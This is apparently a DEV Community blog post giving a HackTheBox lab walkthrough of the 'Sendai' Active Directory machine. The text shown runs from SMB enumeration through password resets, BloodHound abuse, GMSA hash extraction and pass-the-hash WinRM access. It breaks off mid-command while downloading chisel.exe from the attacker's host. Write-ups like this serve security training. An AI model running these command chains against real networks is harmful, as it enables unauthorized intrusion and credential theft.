DEV Community

Cover image for HackTheBox: Sendai Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

HackTheBox: Sendai Writeup

Summary

Sendai is a Windows Active Directory machine exposed with SMB guest access. RID brute-forcing reveals a full user list, and two accounts have expired passwords that can be reset with no knowledge of the current password. After resetting and logging in, BloodHound shows a path from both users through the SUPPORT group - which has GenericAll over the ADMSVC OU and group. Adding ourselves to ADMSVC lets us read the GMSA password for mgtsvc$, which has WinRM access. Once inside, we find SQL credentials in a config file. The MSSQL port isn't externally reachable so we tunnel through with Chisel, forge a Silver Ticket as Administrator against the MSSQL SPN, and get sa-level access. From there, xp_cmdshell drops a shell as sqlsvc, which has SeImpersonatePrivilege - GodPotato turns that into SYSTEM.

Chain: Guest SMB → RID brute → expired password reset × 2 → BloodHound → GenericAll abuse → GMSA read → WinRM as mgtsvc$ → SQL creds in config → Chisel tunnel → Silver Ticket → xp_cmdshell → sqlsvc → GodPotato → SYSTEM


Recon

nmap -A -Pn 10.129.234.66 -oA nmap
Enter fullscreen mode Exit fullscreen mode
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
...
Enter fullscreen mode Exit fullscreen mode

Classic DC fingerprint - DNS, Kerberos, LDAP, SMB, RDP, WinRM. Domain is sendai.vl, hostname is DC. We add it to /etc/hosts:

echo '10.129.234.66 sendai.vl dc.sendai.vl DC.sendai.vl' >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

SMB Enumeration

First we try a null session, then the built-in guest account:

nxc smb 10.129.234.66 -u '' -p '' --shares
# → STATUS_ACCESS_DENIED

nxc smb 10.129.234.66 -u 'guest' -p '' --shares
Enter fullscreen mode Exit fullscreen mode
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
config                          
IPC$            READ            Remote IPC
NETLOGON                        Logon server share 
sendai          READ            company share
SYSVOL                          Logon server share 
Users           READ            
Enter fullscreen mode Exit fullscreen mode

Guest can read sendai, Users, and IPC$. The config share shows up but with no permissions listed — worth coming back to.

RID Brute Force

--users returned nothing with guest, so we brute-force SIDs instead. Windows assigns sequential RIDs to all objects, so iterating them resolves usernames without needing any real auth:

nxc smb 10.129.234.66 -u 'guest' -p '' --rid-brute
Enter fullscreen mode Exit fullscreen mode
1104: SENDAI\sqlsvc (SidTypeUser)
1105: SENDAI\websvc (SidTypeUser)
1108: SENDAI\Dorothy.Jones (SidTypeUser)
1109: SENDAI\Kerry.Robinson (SidTypeUser)
...
1127: SENDAI\Thomas.Powell (SidTypeUser)
1128: SENDAI\ca-operators (SidTypeGroup)
1129: SENDAI\admsvc (SidTypeGroup)
1130: SENDAI\mgtsvc$ (SidTypeUser)   ← GMSA account
1131: SENDAI\support (SidTypeGroup)
Enter fullscreen mode Exit fullscreen mode

Note the mgtsvc$ account (the $ suffix means it's a Group Managed Service Account) and the admsvc and support groups — these will matter later. We parse out just the users:

nxc smb 10.129.234.66 -u 'guest' -p '' --rid-brute \
  | grep "SidTypeUser" | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt
Enter fullscreen mode Exit fullscreen mode

Spidering the Shares

nxc smb 10.129.234.66 -u 'guest' -p '' -M spider_plus
cat /root/.nxc/modules/nxc_spider_plus/10.129.234.66.json
Enter fullscreen mode Exit fullscreen mode

The interesting files in the sendai share:

sendai/incident.txt        (1.34 KB)
sendai/it/Bginfo64.exe     (2.65 MB)
sendai/it/PsExec64.exe     (813 KB)
sendai/security/guidelines.txt  (4.43 KB)
Enter fullscreen mode Exit fullscreen mode

We pull them via smbclient and browse everything:

smbclient \\\\sendai.vl\\sendai -U 'guest%'
smb: \> get incident.txt
smb: \> cd transfer
smb: \transfer\> ls
  anthony.smith / clifford.davey / elliot.yates / lisa.williams
  susan.harper / temp / thomas.powell
Enter fullscreen mode Exit fullscreen mode

The transfer share has named folders for several domain users - all empty right now, but it's a good username confirmation. The important file is incident.txt:

cat incident.txt
Enter fullscreen mode Exit fullscreen mode
...All user accounts with insecure passwords have been expired as a precautionary measure.
This means that affected users will be required to change their passwords upon their next login...
Enter fullscreen mode Exit fullscreen mode

Expired passwords - that means some accounts might accept a blank or known password and just require a reset. Time to check.


Initial Access - Expired Password Reset

We try authenticating every user from our list with a blank password:

nxc smb 10.129.234.66 -u users.txt -p '' --continue-on-success
Enter fullscreen mode Exit fullscreen mode
[-] sendai.vl\Elliot.Yates: STATUS_PASSWORD_MUST_CHANGE
[-] sendai.vl\Thomas.Powell: STATUS_PASSWORD_MUST_CHANGE
Enter fullscreen mode Exit fullscreen mode

STATUS_PASSWORD_MUST_CHANGE is different from STATUS_LOGON_FAILURE — it means the account exists, the blank password was accepted, but it needs to be changed before login is allowed. We can do that with impacket-changepasswd without knowing the current password:

impacket-changepasswd 'sendai.vl/Elliot.Yates:@10.129.234.66' -newpass 'Pass123!'
impacket-changepasswd 'sendai.vl/Thomas.Powell:@10.129.234.66' -newpass 'Pass123!'
Enter fullscreen mode Exit fullscreen mode
[*] Password was changed successfully.  (× 2)
Enter fullscreen mode Exit fullscreen mode

Confirming both work:

nxc smb 10.129.234.66 -u Thomas.Powell -p 'Pass123!'
# [+] sendai.vl\Thomas.Powell:Pass123!

nxc smb 10.129.234.66 -u Elliot.Yates -p 'Pass123!'
# [+] sendai.vl\Elliot.Yates:Pass123!
Enter fullscreen mode Exit fullscreen mode

Both users get the same share permissions — including READ,WRITE on config and sendai. Since the permissions look identical, we run BloodHound to figure out which user is actually more useful.


BloodHound - Mapping the AD Attack Path

bloodhound-python -d sendai.vl -u Thomas.Powell -p 'Pass123!' \
  -ns 10.129.234.66 -c All --zip
Enter fullscreen mode Exit fullscreen mode

We import the zip into BloodHound and mark both users as owned. The attack path is clear:

Thomas.Powell / Elliot.Yates
        ↓ MemberOf
    SUPPORT@SENDAI.VL
        ↓ GenericAll
    ADMSVC OU + ADMSVC Group
        ↓ ReadGMSAPassword
    mgtsvc$ (GMSA)
        ↓ MemberOf
    Remote Management Users
Enter fullscreen mode Exit fullscreen mode

BloodHound also shows Thomas.Powell has Password Not Required: TRUE - that's why we could reset with a blank password. Both users are in the SUPPORT group, which has GenericAll over the ADMSVC OU and the ADMSVC group. GenericAll means full control - we can add members, change attributes, anything. The ADMSVC group has ReadGMSAPassword rights over mgtsvc$.


GMSA Password Dump

We add Thomas.Powell to the ADMSVC group using bloodyAD:

bloodyad -H 10.129.234.66 -d sendai.vl -u Thomas.Powell -p 'Pass123!' \
  add groupMember AdmSvc Thomas.Powell
Enter fullscreen mode Exit fullscreen mode
[+] Thomas.Powell added to AdmSvc
Enter fullscreen mode Exit fullscreen mode

Now as a member of ADMSVC, we can read the GMSA password. Three ways to do it - all return the same hash:

bloodyAD:

bloodyad -H 10.129.234.66 -d sendai.vl -u Thomas.Powell -p 'Pass123!' \
  get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' \
  --attr msDs-ManagedPassword
Enter fullscreen mode Exit fullscreen mode
msDS-ManagedPassword.NT: 04916851945671b02a176029fac231ba
Enter fullscreen mode Exit fullscreen mode

NetExec:

nxc ldap 10.129.234.66 -u Thomas.Powell -p 'Pass123!' --gmsa
Enter fullscreen mode Exit fullscreen mode
Account: mgtsvc$    NTLM: 04916851945671b02a176029fac231ba
Enter fullscreen mode Exit fullscreen mode

impacket-ntlmrelayx (relay Thomas.Powell's creds through a local HTTP server to LDAP — open browser to http://localhost and log in with Thomas.Powell's creds while the relay is running):

impacket-ntlmrelayx -t ldap://10.129.234.66 --dump-gmsa --no-da --no-acl --no-validate-privs
# → mgtsvc$:::04916851945671b02a176029fac231ba
Enter fullscreen mode Exit fullscreen mode

Shell as mgtsvc$ - User Flag

BloodHound confirmed mgtsvc$ is in Remote Management Users, so WinRM works:

nxc winrm 10.129.234.66 -u 'mgtsvc$' -H 04916851945671b02a176029fac231ba
# [+] sendai.vl\mgtsvc$:04916851945671b02a176029fac231ba (Pwn3d!)

evil-winrm -i 10.129.234.66 -u 'mgtsvc$' -H 04916851945671b02a176029fac231ba
Enter fullscreen mode Exit fullscreen mode
*Evil-WinRM* PS C:\> type user.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

Browsing the filesystem, the config share we saw earlier maps to C:\config:

*Evil-WinRM* PS C:\config> type .sqlconfig
Server=dc.sendai.vl,1433;Database=prod;User Id=sqlsvc;Password=SurenessBlob85;
Enter fullscreen mode Exit fullscreen mode

SQL credentials for sqlsvc. Port 1433 is open internally (confirmed with netstat -ano | select-string 1433) but not reachable from outside.


Tunneling to MSSQL with Chisel

We stand up an HTTP server and pull chisel onto the target:

# Kali — start chisel server in reverse mode
chisel server -p 8000 --reverse

# Target - download and connect back
mkdir C:\temp
iwr http://10.10.15.223/chisel.exe -OutFile C: